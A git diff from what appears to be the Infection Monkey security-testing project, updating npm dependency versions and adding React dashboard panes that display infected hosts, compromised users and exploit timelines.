- "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=",
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
+ "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
"dev": true,
"requires": {
- "locate-path": "2.0.0"
+ "locate-path": "3.0.0"
}
},
"fsevents": {
@@ -17870,7 +17919,7 @@
"dev": true,
"optional": true,
"requires": {
- "nan": "2.10.0",
+ "nan": "2.11.1",
"node-pre-gyp": "0.10.0"
},
"dependencies": {
@@ -17904,14 +17953,12 @@
"balanced-match": {
"version": "1.0.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"brace-expansion": {
"version": "1.1.11",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"balanced-match": "1.0.0",
"concat-map": "0.0.1"
@@ -17931,8 +17978,7 @@
"concat-map": {
"version": "0.0.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"console-control-strings": {
"version": "1.1.0",
@@ -18423,7 +18469,7 @@
"dev": true,
"requires": {
"array-union": "1.0.2",
- "glob": "7.1.2",
+ "glob": "7.1.3",
"object-assign": "4.1.1",
"pify": "2.3.0",
"pinkie-promise": "2.0.1"
@@ -18443,6 +18489,12 @@
"integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=",
"dev": true
},
+ "invert-kv": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-2.0.0.tgz",
+ "integrity": "sha512-wPVv/y/QQ/Uiirj/vh3oP+1Ww+AWehmi1g5fFWGPF6IpCBCDVrhgHRMvrLfdYcwDh3QJbGXDW4JAuzxElLSqKA==",
+ "dev": true
+ },
"is-accessor-descriptor": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
@@ -18519,6 +18571,36 @@
"integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==",
"dev": true
},
+ "lcid": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/lcid/-/lcid-2.0.0.tgz",
+ "integrity": "sha512-avPEb8P8EGnwXKClwsNUgryVjllcRqtMYa49NTsbQagYuT1DcXnl1915oxWjoyGrXR6zH/Y0Zc96xWsPcoDKeA==",
+ "dev": true,
+ "requires": {
+ "invert-kv": "2.0.0"
+ }
+ },
+ "locate-path": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
+ "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
+ "dev": true,
+ "requires": {
+ "p-locate": "3.0.0",
+ "path-exists": "3.0.0"
+ }
+ },
+ "mem": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/mem/-/mem-4.0.0.tgz",
+ "integrity": "sha512-WQxG/5xYc3tMbYLXoXPm81ET2WDULiU5FxbuIoNbJqLOOI8zehXFdZuiUEgfdrU2mVB1pxBZUGlYORSrpuJreA==",
+ "dev": true,
+ "requires": {
+ "map-age-cleaner": "0.1.2",
+ "mimic-fn": "1.2.0",
+ "p-is-promise": "1.1.0"
+ }
+ },
"micromatch": {
"version": "3.1.10",
"resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
@@ -18541,66 +18623,140 @@
}
},
"nan": {
- "version": "2.10.0",
- "resolved": "https://registry.npmjs.org/nan/-/nan-2.10.0.tgz",
- "integrity": "sha512-bAdJv7fBLhWC+/Bls0Oza+mvTaNQtP+1RyhhhvD95pgUJz6XM5IzgmxOkItJ9tkoCiplvAnXI1tNmmUD/eScyA==",
+ "version": "2.11.1",
+ "resolved": "https://registry.npmjs.org/nan/-/nan-2.11.1.tgz",
+ "integrity": "sha512-iji6k87OSXa0CcrLl9z+ZiYSuR2o+c0bGuNmXdrhTQTakxytAFsC56SArGYoiHlJlFoHSnvmhpceZJaXkVuOtA==",
"dev": true,
"optional": true
},
+ "os-locale": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-3.0.1.tgz",
+ "integrity": "sha512-7g5e7dmXPtzcP4bgsZ8ixDVqA7oWYuEz4lOSujeWyliPai4gfVDiFIcwBg3aGCPnmSGfzOKTK3ccPn0CKv3DBw==",
+ "dev": true,
+ "requires": {
+ "execa": "0.10.0",
+ "lcid": "2.0.0",
+ "mem": "4.0.0"
+ }
+ },
+ "p-limit": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.0.0.tgz",
+ "integrity": "sha512-fl5s52lI5ahKCernzzIyAP0QAZbGIovtVHGwpcu1Jr/EpzLVDI2myISHwGqK7m8uQFugVWSrbxH7XnhGtvEc+A==",
+ "dev": true,
+ "requires": {
+ "p-try": "2.0.0"
+ }
+ },
+ "p-locate": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
+ "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
+ "dev": true,
+ "requires": {
+ "p-limit": "2.0.0"
+ }
+ },
+ "p-try": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.0.0.tgz",
+ "integrity": "sha512-hMp0onDKIajHfIkdRk3P4CdCmErkYAxxDtP3Wx/4nZ3aGlau2VKh3mZpcuFkH27WQkL/3WBCPOktzA9ZOAnMQQ==",
+ "dev": true
+ },
+ "path-exists": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
+ "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=",
+ "dev": true
+ },
"pify": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz",
"integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=",
"dev": true
},
+ "schema-utils": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz",
+ "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==",
+ "dev": true,
+ "requires": {
+ "ajv": "6.5.2",
+ "ajv-errors": "1.0.0",
+ "ajv-keywords": "3.2.0"
+ }
+ },
+ "semver": {
+ "version": "5.5.1",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.1.tgz",
+ "integrity": "sha512-PqpAxfrEhlSUWge8dwIp4tZnQ25DIOthpiaHNIthsjEFQD6EvqUKUDM7L8O2rShkFccYo1VjJR0coWfNkCubRw==",
+ "dev": true
+ },
"supports-color": {
- "version": "5.4.0",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz",
- "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==",
+ "version": "5.5.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
"dev": true,
"requires": {
"has-flag": "3.0.0"
}
},
- "url-join": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/url-join/-/url-join-4.0.0.tgz",
- "integrity": "sha1-TTNA6AfTdzvamZH4MFrNzCpmXSo=",
+ "uuid": {
+ "version": "3.3.2",
+ "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz",
+ "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==",
"dev": true
},
"webpack-dev-middleware": {
- "version": "3.1.3",
- "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-3.1.3.tgz",
- "integrity": "sha512-I6Mmy/QjWU/kXwCSFGaiOoL5YEQIVmbb0o45xMoCyQAg/mClqZVTcsX327sPfekDyJWpCxb+04whNyLOIxpJdQ==",
+ "version": "3.4.0",
+ "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-3.4.0.tgz",
+ "integrity": "sha512-Q9Iyc0X9dP9bAsYskAVJ/hmIZZQwf/3Sy4xCAZgL5cUkjZmUZLt4l5HpbST/Pdgjn3u6pE7u5OdGd1apgzRujA==",
"dev": true,
"requires": {
- "loud-rejection": "1.6.0",
"memory-fs": "0.4.1",
"mime": "2.3.1",
- "path-is-absolute": "1.0.1",
"range-parser": "1.2.0",
- "url-join": "4.0.0",
- "webpack-log": "1.2.0"
+ "webpack-log": "2.0.0"
+ }
+ },
+ "webpack-log": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/webpack-log/-/webpack-log-2.0.0.tgz",
+ "integrity": "sha512-cX8G2vR/85UYG59FgkoMamwHUIkSSlV3bBMRsbxVXVUk2j6NleCKjQ/WE9eYg9WY4w25O9w8wKP4rzNZFmUcUg==",
+ "dev": true,
+ "requires": {
+ "ansi-colors": "3.1.0",
+ "uuid": "3.3.2"
}
},
"yargs": {
- "version": "11.0.0",
- "resolved": "https://registry.npmjs.org/yargs/-/yargs-11.0.0.tgz",
- "integrity": "sha512-Rjp+lMYQOWtgqojx1dEWorjCofi1YN7AoFvYV7b1gx/7dAAeuI4kN5SZiEvr0ZmsZTOpDRcCqrpI10L31tFkBw==",
+ "version": "12.0.2",
+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-12.0.2.tgz",
+ "integrity": "sha512-e7SkEx6N6SIZ5c5H22RTZae61qtn3PYUE8JYbBFlK9sYmh3DMQ6E5ygtaG/2BW0JZi4WGgTR2IV5ChqlqrDGVQ==",
"dev": true,
"requires": {
"cliui": "4.1.0",
- "decamelize": "1.2.0",
- "find-up": "2.1.0",
+ "decamelize": "2.0.0",
+ "find-up": "3.0.0",
"get-caller-file": "1.0.3",
- "os-locale": "2.1.0",
+ "os-locale": "3.0.1",
"require-directory": "2.1.1",
"require-main-filename": "1.0.1",
"set-blocking": "2.0.0",
"string-width": "2.1.1",
"which-module": "2.0.0",
"y18n": "3.2.1",
- "yargs-parser": "9.0.2"
+ "yargs-parser": "10.1.0"
+ }
+ },
+ "yargs-parser": {
+ "version": "10.1.0",
+ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-10.1.0.tgz",
+ "integrity": "sha512-VCIyR1wJoEBZUqk5PA+oOBF6ypbwh5aNB3I50guxAL/quggdfs4TtNHQrSazFA3fYZ+tEqfs0zIGlv0c/rgjbQ==",
+ "dev": true,
+ "requires": {
+ "camelcase": "4.1.0"
}
}
}
@@ -18634,7 +18790,7 @@
"requires": {
"ansi-styles": "3.2.1",
"escape-string-regexp": "1.0.5",
- "supports-color": "5.4.0"
+ "supports-color": "5.5.0"
}
},
"has-flag": {
@@ -18644,9 +18800,9 @@
"dev": true
},
"supports-color": {
- "version": "5.4.0",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz",
- "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==",
+ "version": "5.5.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
"dev": true,
"requires": {
"has-flag": "3.0.0"
@@ -18655,9 +18811,9 @@
}
},
"webpack-sources": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.1.0.tgz",
- "integrity": "sha512-aqYp18kPphgoO5c/+NaUvEeACtZjMESmDChuD3NBciVpah3XpMEU9VAAtIaB1BsfJWWTSdv8Vv1m3T0aRk2dUw==",
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.3.0.tgz",
+ "integrity": "sha512-OiVgSrbGu7NEnEvQJJgdSFPl2qWKkWq5lHMhgiToIiN9w34EBnjYzSYs+VbL5KoYiLNtFFa7BZIKxRED3I32pA==",
"dev": true,
"requires": {
"source-list-map": "2.0.0",
@@ -18688,15 +18844,10 @@
"integrity": "sha512-nqHUnMXmBzT0w570r2JpJxfiSD1IzoI+HGVdd3aZ0yNi3ngvQ4jv1dtHt5VGxfI2yj5yqImPhOK4vmIh2xMbGg==",
"dev": true
},
- "whatwg-fetch": {
- "version": "2.0.4",
- "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-2.0.4.tgz",
- "integrity": "sha512-dcQ1GWpOD/eEQ97k66aiEVpNnapVj90/+R+SXTPYGHpYBBypfKJEQjLrvMZ7YXbKm21gXd4NcuxUTjiv1YtLng=="
- },
"which": {
"version": "1.3.0",
"resolved": "https://registry.npmjs.org/which/-/which-1.3.0.tgz",
- "integrity": "sha1-/wS9/AEO5UfXgL7DjhrBwnd9JTo=",
+ "integrity": "sha512-xcJpopdamTuY5duC/KnTTNBraPK54YwpenP4lzxU8H91GudWpFv38u0CKjclE1Wi2EH2EDz5LRcHcKbCIzqGyg==",
"dev": true,
"requires": {
"isexe": "2.0.0"
@@ -18732,7 +18883,7 @@
},
"wrap-ansi": {
"version": "2.1.0",
- "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz",
+ "resolved": "http://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz",
"integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=",
"dev": true,
"requires": {
diff --git a/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json
similarity index 82%
rename from monkey_island/cc/ui/package.json
rename to monkey/monkey_island/cc/ui/package.json
index 9e1e85f2d..00aa12ade 100644
--- a/monkey_island/cc/ui/package.json
+++ b/monkey/monkey_island/cc/ui/package.json
@@ -31,14 +31,14 @@
"babel-preset-react": "^6.24.1",
"babel-preset-stage-0": "^6.5.0",
"bower-webpack-plugin": "^0.1.9",
- "chai": "^4.1.2",
- "copyfiles": "^2.0.0",
+ "chai": "^4.2.0",
+ "copyfiles": "^2.1.0",
"css-loader": "^1.0.0",
- "eslint": "^5.3.0",
- "eslint-loader": "^2.1.0",
+ "eslint": "^5.6.1",
+ "eslint-loader": "^2.1.1",
"eslint-plugin-react": "^7.11.1",
"file-loader": "^1.1.11",
- "glob": "^7.0.0",
+ "glob": "^7.1.3",
"html-loader": "^0.5.5",
"html-webpack-plugin": "^3.2.0",
"karma": "^3.0.0",
@@ -48,44 +48,44 @@
"karma-mocha-reporter": "^2.2.5",
"karma-phantomjs-launcher": "^1.0.0",
"karma-sourcemap-loader": "^0.3.5",
- "karma-webpack": "^3.0.0",
+ "karma-webpack": "^3.0.5",
"minimist": "^1.2.0",
"mocha": "^5.2.0",
"null-loader": "^0.1.1",
"open": "0.0.5",
"phantomjs-prebuilt": "^2.1.16",
"react-addons-test-utils": "^15.6.2",
- "react-hot-loader": "^4.3.4",
+ "react-hot-loader": "^4.3.11",
"rimraf": "^2.6.2",
"style-loader": "^0.22.1",
- "url-loader": "^1.1.0",
- "webpack": "^4.16.5",
- "webpack-cli": "^3.1.0",
- "webpack-dev-server": "^3.1.5"
+ "url-loader": "^1.1.2",
+ "webpack": "^4.20.2",
+ "webpack-cli": "^3.1.2",
+ "webpack-dev-server": "^3.1.9"
},
"dependencies": {
"bootstrap": "3.3.7",
"core-js": "^2.5.7",
"downloadjs": "^1.4.7",
"fetch": "^1.1.0",
- "js-file-download": "^0.4.1",
+ "js-file-download": "^0.4.4",
"json-loader": "^0.5.7",
"jwt-decode": "^2.2.0",
"moment": "^2.22.2",
"normalize.css": "^8.0.0",
- "npm": "^6.3.0",
+ "npm": "^6.4.1",
"prop-types": "^15.6.2",
- "rc-progress": "^2.2.5",
- "react": "^16.4.2",
- "react-bootstrap": "^0.32.1",
+ "rc-progress": "^2.2.6",
+ "react": "^16.5.2",
+ "react-bootstrap": "^0.32.4",
"react-copy-to-clipboard": "^5.0.1",
"react-data-components": "^1.2.0",
"react-dimensions": "^1.3.0",
- "react-dom": "^16.4.2",
+ "react-dom": "^16.5.2",
"react-fa": "^5.0.0",
"react-graph-vis": "^1.0.2",
"react-json-tree": "^0.11.0",
- "react-jsonschema-form": "^1.0.4",
+ "react-jsonschema-form": "^1.0.5",
"react-redux": "^5.0.7",
"react-router-dom": "^4.3.1",
"react-table": "^6.8.6",
diff --git a/monkey_island/cc/ui/server.js b/monkey/monkey_island/cc/ui/server.js
similarity index 100%
rename from monkey_island/cc/ui/server.js
rename to monkey/monkey_island/cc/ui/server.js
diff --git a/monkey_island/cc/ui/src/components/AuthComponent.js b/monkey/monkey_island/cc/ui/src/components/AuthComponent.js
similarity index 100%
rename from monkey_island/cc/ui/src/components/AuthComponent.js
rename to monkey/monkey_island/cc/ui/src/components/AuthComponent.js
diff --git a/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js
similarity index 98%
rename from monkey_island/cc/ui/src/components/Main.js
rename to monkey/monkey_island/cc/ui/src/components/Main.js
index 586dd5fdf..114775756 100644
--- a/monkey_island/cc/ui/src/components/Main.js
+++ b/monkey/monkey_island/cc/ui/src/components/Main.js
@@ -7,6 +7,7 @@ import RunServerPage from 'components/pages/RunServerPage';
import ConfigurePage from 'components/pages/ConfigurePage';
import RunMonkeyPage from 'components/pages/RunMonkeyPage';
import MapPage from 'components/pages/MapPage';
+import PassTheHashMapPage from 'components/pages/PassTheHashMapPage';
import TelemetryPage from 'components/pages/TelemetryPage';
import StartOverPage from 'components/pages/StartOverPage';
import ReportPage from 'components/pages/ReportPage';
@@ -75,7 +76,7 @@ class AppComponent extends AuthComponent {
componentDidMount() {
this.updateStatus();
- this.interval = setInterval(this.updateStatus, 2000);
+ this.interval = setInterval(this.updateStatus, 5000);
}
componentWillUnmount() {
diff --git a/monkey_island/cc/ui/src/components/map/MapOptions.js b/monkey/monkey_island/cc/ui/src/components/map/MapOptions.js
similarity index 55%
rename from monkey_island/cc/ui/src/components/map/MapOptions.js
rename to monkey/monkey_island/cc/ui/src/components/map/MapOptions.js
index 1ed40cd34..7e4805797 100644
--- a/monkey_island/cc/ui/src/components/map/MapOptions.js
+++ b/monkey/monkey_island/cc/ui/src/components/map/MapOptions.js
@@ -1,4 +1,4 @@
-let groupNames = ['clean_unknown', 'clean_linux', 'clean_windows', 'exploited_linux', 'exploited_windows', 'island',
+const groupNames = ['clean_unknown', 'clean_linux', 'clean_windows', 'exploited_linux', 'exploited_windows', 'island',
'island_monkey_linux', 'island_monkey_linux_running', 'island_monkey_windows', 'island_monkey_windows_running',
'manual_linux', 'manual_linux_running', 'manual_windows', 'manual_windows_running', 'monkey_linux',
'monkey_linux_running', 'monkey_windows', 'monkey_windows_running'];
@@ -17,7 +17,22 @@ let getGroupsOptions = () => {
return groupOptions;
};
-export const options = {
+const groupNamesPth = ['normal', 'critical'];
+
+let getGroupsOptionsPth = () => {
+ let groupOptions = {};
+ for (let groupName of groupNamesPth) {
+ groupOptions[groupName] =
+ {
+ shape: 'image',
+ size: 50,
+ image: require('../../images/nodes/pth/' + groupName + '.png')
+ };
+ }
+ return groupOptions;
+};
+
+export const basic_options = {
autoResize: true,
layout: {
improvedLayout: false
@@ -34,10 +49,22 @@ export const options = {
avoidOverlap: 0.5
},
minVelocity: 0.75
- },
- groups: getGroupsOptions()
+ }
};
+export const options = (() => {
+ let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */
+ opts.groups = getGroupsOptions();
+ return opts;
+})();
+
+export const optionsPth = (() => {
+ let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */
+ opts.groups = getGroupsOptionsPth();
+ opts.physics.barnesHut.gravitationalConstant = -20000;
+ return opts;
+})();
+
export function edgeGroupToColor(group) {
switch (group) {
case 'exploited':
diff --git a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js
new file mode 100644
index 000000000..e06043c20
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js
@@ -0,0 +1,247 @@
+import React from 'react';
+import {Icon} from 'react-fa';
+import Toggle from 'react-toggle';
+import {OverlayTrigger, Tooltip} from 'react-bootstrap';
+import download from 'downloadjs'
+import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane';
+
+class InfMapPreviewPaneComponent extends PreviewPaneComponent {
+
+ osRow(asset) {
+ return (
+
+ Operating System
+ {asset.os.charAt(0).toUpperCase() + asset.os.slice(1)}
+
+ );
+ }
+
+ ipsRow(asset) {
+ return (
+
+ IP Addresses
+ {asset.ip_addresses.map(val => {val}
)}
+
+ );
+ }
+
+ servicesRow(asset) {
+ return (
+
+ Services
+ {asset.services.map(val => {val}
)}
+
+ );
+ }
+
+ accessibleRow(asset) {
+ return (
+
+
+ Accessible From
+ {this.generateToolTip('List of machine which can access this one using a network protocol')}
+
+ {asset.accessible_from_nodes.map(val => {val}
)}
+
+ );
+ }
+
+ statusRow(asset) {
+ return (
+
+ Status
+ {(asset.dead) ? 'Dead' : 'Alive'}
+
+ );
+ }
+
+ forceKill(event, asset) {
+ let newConfig = asset.config;
+ newConfig['alive'] = !event.target.checked;
+ this.authFetch('/api/monkey/' + asset.guid,
+ {
+ method: 'PATCH',
+ headers: {'Content-Type': 'application/json'},
+ body: JSON.stringify({config: newConfig})
+ });
+ }
+
+ forceKillRow(asset) {
+ return (
+
+
+ Force Kill
+ {this.generateToolTip('If this is on, monkey will die next time it communicates')}
+
+
+ this.forceKill(e, asset)}/>
+
+
+
+ );
+ }
+
+ unescapeLog(st) {
+ return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string.
+ .replace(/\\n/g, "\n")
+ .replace(/\\r/g, "\r")
+ .replace(/\\t/g, "\t")
+ .replace(/\\b/g, "\b")
+ .replace(/\\f/g, "\f")
+ .replace(/\\"/g, '\"')
+ .replace(/\\'/g, "\'")
+ .replace(/\\&/g, "\&");
+ }
+
+ downloadLog(asset) {
+ this.authFetch('/api/log?id=' + asset.id)
+ .then(res => res.json())
+ .then(res => {
+ let timestamp = res['timestamp'];
+ timestamp = timestamp.substr(0, timestamp.indexOf('.'));
+ let filename = res['monkey_label'].split(':').join('-') + ' - ' + timestamp + '.log';
+ let logContent = this.unescapeLog(res['log']);
+ download(logContent, filename, 'text/plain');
+ });
+
+ }
+
+ downloadLogRow(asset) {
+ return (
+
+
+ Download Log
+
+
+ this.downloadLog(asset)}>Download
+
+
+ );
+ }
+
+ exploitsTimeline(asset) {
+ if (asset.exploits.length === 0) {
+ return (
);
+ }
+
+ return (
+
+
+ Exploit Timeline
+ {this.generateToolTip('Timeline of exploit attempts. Red is successful. Gray is unsuccessful')}
+
+
+
+ )
+ }
+
+ assetInfo(asset) {
+ return (
+
+
+
+ {this.osRow(asset)}
+ {this.ipsRow(asset)}
+ {this.servicesRow(asset)}
+ {this.accessibleRow(asset)}
+
+
+ {this.exploitsTimeline(asset)}
+
+ );
+ }
+
+ infectedAssetInfo(asset) {
+ return (
+
+
+
+ {this.osRow(asset)}
+ {this.statusRow(asset)}
+ {this.ipsRow(asset)}
+ {this.servicesRow(asset)}
+ {this.accessibleRow(asset)}
+ {this.forceKillRow(asset)}
+ {this.downloadLogRow(asset)}
+
+
+ {this.exploitsTimeline(asset)}
+
+ );
+ }
+
+ scanInfo(edge) {
+ return (
+
+
+
+
+ Operating System
+ {edge.os.type}
+
+
+ IP Address
+ {edge.ip_address}
+
+
+ Services
+ {edge.services.map(val => {val}
)}
+
+
+
+ {
+ (edge.exploits.length === 0) ?
+ '' :
+
+ }
+
+ );
+ }
+
+ islandEdgeInfo() {
+ return (
+
+
+ );
+ }
+
+ getInfoByProps() {
+ switch (this.props.type) {
+ case 'edge':
+ return this.scanInfo(this.props.item);
+ case 'node':
+ return this.props.item.group.includes('monkey', 'manual') ?
+ this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item);
+ case 'island_edge':
+ return this.islandEdgeInfo();
+ }
+
+ return null;
+ }
+}
+
+export default InfMapPreviewPaneComponent;
diff --git a/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js
similarity index 100%
rename from monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js
rename to monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js
diff --git a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js
new file mode 100644
index 000000000..f9a5ae1bb
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js
@@ -0,0 +1,63 @@
+import React from 'react';
+import {Icon} from 'react-fa';
+import Toggle from 'react-toggle';
+import {OverlayTrigger, Tooltip} from 'react-bootstrap';
+import download from 'downloadjs'
+import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane';
+
+class PthPreviewPaneComponent extends PreviewPaneComponent {
+ nodeInfo(asset) {
+ return (
+
+
+
+
+ Hostname
+ {asset.hostname}
+
+
+ IP Addresses
+ {asset.ips.map(val => {val}
)}
+
+
+ Services
+ {asset.services.map(val => {val}
)}
+
+
+ Compromised Users
+ {asset.users.map(val => {val}
)}
+
+
+
+
+ );
+ }
+
+ edgeInfo(edge) {
+ return (
+
+
+
+
+ Compromised Users
+ {edge.users.map(val => {val}
)}
+
+
+
+
+ );
+ }
+
+ getInfoByProps() {
+ switch (this.props.type) {
+ case 'edge':
+ return this.edgeInfo(this.props.item);
+ case 'node':
+ return this.nodeInfo(this.props.item);
+ }
+
+ return null;
+ }
+}
+
+export default PthPreviewPaneComponent;
diff --git a/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
similarity index 93%
rename from monkey_island/cc/ui/src/components/pages/ConfigurePage.js
rename to monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
index afa42d6e7..a97447df0 100644
--- a/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
@@ -50,6 +50,13 @@ class ConfigurePageComponent extends AuthComponent {
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(this.state.configuration)
})
+ .then(res => {
+ if (!res.ok)
+ {
+ throw Error()
+ }
+ return res;
+ })
.then(res => res.json())
.then(res => {
this.setState({
@@ -58,6 +65,9 @@ class ConfigurePageComponent extends AuthComponent {
configuration: res.configuration
});
this.props.onStatusChange();
+ }).catch(error => {
+ console.log('bad configuration');
+ this.setState({lastAction: 'invalid_configuration'});
});
};
@@ -217,6 +227,12 @@ class ConfigurePageComponent extends AuthComponent {
Failed importing configuration. Invalid config file.
: ''}
+ { this.state.lastAction === 'invalid_configuration' ?
+
+
+ An invalid configuration file was imported and submitted, probably outdated.
+
+ : ''}
{ this.state.lastAction === 'import_success' ?
diff --git a/monkey_island/cc/ui/src/components/pages/LicensePage.js b/monkey/monkey_island/cc/ui/src/components/pages/LicensePage.js
similarity index 100%
rename from monkey_island/cc/ui/src/components/pages/LicensePage.js
rename to monkey/monkey_island/cc/ui/src/components/pages/LicensePage.js
diff --git a/monkey_island/cc/ui/src/components/pages/LoginPage.js b/monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js
similarity index 100%
rename from monkey_island/cc/ui/src/components/pages/LoginPage.js
rename to monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js
diff --git a/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js
similarity index 96%
rename from monkey_island/cc/ui/src/components/pages/MapPage.js
rename to monkey/monkey_island/cc/ui/src/components/pages/MapPage.js
index 7720a781d..4d074c835 100644
--- a/monkey_island/cc/ui/src/components/pages/MapPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js
@@ -2,7 +2,7 @@ import React from 'react';
import {Col, Modal} from 'react-bootstrap';
import {Link} from 'react-router-dom';
import {Icon} from 'react-fa';
-import PreviewPane from 'components/map/preview-pane/PreviewPane';
+import InfMapPreviewPaneComponent from 'components/map/preview-pane/InfMapPreviewPane';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {options, edgeGroupToColor} from 'components/map/MapOptions';
import AuthComponent from '../AuthComponent';
@@ -27,7 +27,7 @@ class MapPageComponent extends AuthComponent {
componentDidMount() {
this.updateMapFromServer();
- this.interval = setInterval(this.timedEvents, 1000);
+ this.interval = setInterval(this.timedEvents, 5000);
}
componentWillUnmount() {
@@ -186,7 +186,7 @@ class MapPageComponent extends AuthComponent {
: ''}
-
+
);
